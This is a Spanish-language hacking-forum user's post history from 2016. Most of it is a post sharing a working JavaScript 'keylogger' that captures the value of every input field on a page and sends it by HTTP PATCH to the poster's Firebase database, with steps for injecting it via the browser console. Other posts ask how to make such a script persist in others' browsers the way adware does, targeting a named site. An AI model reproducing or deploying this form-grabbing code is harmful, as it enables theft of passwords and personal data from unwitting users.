elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Análisis y Diseño de Malware / Re: javascript Keylogger en: 16 Diciembre 2016, 02:43 am
Sí, se ve más organizado así, tomaré nota para modificarlo.

Por otro lado, aclaro que Firebase it's free hasta cierto punto, pero para éste ejercicio 100% recomendada

El patch en éste caso funciona mejor que el post, pero podrías usar un post, aclarando lo del blur, probé con todos los otros eventos y para mi fue el que mejor funcionó

Saludos y gracias por el feedback :)
2  Seguridad Informática / Análisis y Diseño de Malware / javascript Keylogger en: 15 Diciembre 2016, 15:09 pm
Bueno, básicamente les voy a dejar un código que desarrollé, muy simple de hecho, igual les voy a explicar cómo usarlo, si bien es cierto que se podría mejorar y mucho, así está hasta ahora, quizás siga trabajando en él, quizás no, pero les voy a compartir lo que va.

Código:
"strict";

var input = document.querySelectorAll("input"); //Selecciona todos los imput del navegador

function saveLocal(e) {
    var url = "https://****.firebaseio.com/.json"; //Deben crear una base de datos en firebase y poner la URL acá
    var method = "PATCH"; //Metodo HTTP
    /*El e.srcElement trae el campo id="idEjemplo" y el this.value su valor el resultado sería algo como:
        tel: 30123021
     */
    var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }';
    //XMLHttpRequest es un método usado en javascript para hacer peticiones HTTP como POST, GET, Etc, etc.
    var request = new XMLHttpRequest();
    request.onload = function () {

        /*Ya acá se pueden obtener muchos tipos de respuestá del HTTP, ésto no es parte del keylogger en sí
            Pero es útil si quieren ver info de la transacción en la consola
         */
        var status = request.status; //respuesta del status HTTP, e.j., 200 for "200 OK"
        var data = request.responseText; // Datos que retorna, e.j., un documento HTML o un JSON.
        console.log(status);
        console.log(data);
    } //El onload es un evento que se lanza cuando la petición se carga
    //Abre la petición, especifica el método, envía la URL y el false es para indicar que es sincrona
    request.open(method, url, false);
    //Luego de que la petición está abierta envía la info, en éste caso el log de los inputs
    request.send(postData);
}

for (var i = 0; i < input.length; i++) {
    //Añade a cada input un evento que escucha cuándo alquien sale de la casilla y llama a la función saveLocal
    input[i].addEventListener("blur", saveLocal);
}//Loop por cada item en input

Necesitarán una URL de una base de datos, la crean acá http://firebase.google.com
Para inyectar el código lo único que tienen que hacer es abrir la consola "click derecho inspeccionar elemento de ahí en la tab de consola, en el navegador", copiar y pegar el código ya con su URL, cierran la consola y ya está, si cierran la página se pierden los cambios, si refrescan también. Espero les guste. SaluDDOS
3  Programación / Desarrollo Web / Re: Cómo anclar un código a un navegador? en: 25 Noviembre 2016, 22:03 pm
Plugins, entendido, muchas gracias  ;D  ;-)
4  Foros Generales / Foro Libre / Re: Me presento en: 25 Noviembre 2016, 20:19 pm
Gracias por la bienvenida  :P
5  Programación / Desarrollo Web / Re: Cómo anclar un código a un navegador? en: 25 Noviembre 2016, 20:17 pm
No, no me refiero a publicidad pagada, tampoco intento hacerlo en mi propio navegador una sola vez...

Creo que no me supe explicar   :xD

Alguna vez han instalado un programa, siguiente, siguiente, siguiente y luego te queda en el navegador una cochina barra y anuncios popup al azar que saltan diciendo que eres el ganador de un iPad?...

Me refiero a modificar el navegador para que en una página por decir "chaturbate.es" se pueda ejecutar mi script
6  Foros Generales / Foro Libre / Re: Me presento en: 25 Noviembre 2016, 14:08 pm
Pues como al 99% de los hombres  :rolleyes:
Bienvenido al foro ike array, gracias por tu sinceridad
Jajajaja, sí, es cierto, gracias por la bienvenida :)
7  Programación / Desarrollo Web / Cómo anclar un código a un navegador? en: 25 Noviembre 2016, 13:54 pm
Sé que es posible modificar instancias de Chrome por ejemplo, la pregunta en realidad es porque tengo algo de curiosidad de saber cómo funcionan esos virusecillos que te levantan popups de publicidad (o mujerzuelas que quieren conocerte), la idea es anclar el siguiente código en JS
Código:
var input = document.querySelectorAll("input");

for(var i = 0; i < input.length; i++){
    input[i].addEventListener("change", function (e) {
        localStorage.setItem(e.srcElement.id, this.value); //Guarda en el localStorage el id del input y el valor del campo
    }); //Añade un eventListener a cada input
}//Por cada elemento en los inputs

Gracias de antemano y saluDoS
8  Foros Generales / Foro Libre / Me presento en: 25 Noviembre 2016, 13:43 pm
Buenas buenas, me presento (acá porque no encontré un subforo adecuado, en serio lo busqué y dice que está fuera de mi alcance :v).

En fin soy un programador empírico, vengo de CPH que está más muerto que mi vida sexual, tengo algo de conocimientos en PHP, javascript, AngularJS, Ionic, firebase, PGSQL, MySQL, consola de IBM incluida AS/400 y iSeries, etc, etc, etc

Me gusta el porno, el vicio, el dinero y soy curioso a la hora de programar, no siendo más, espero que este foro sí sea activo. Saludos a toda la banda
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines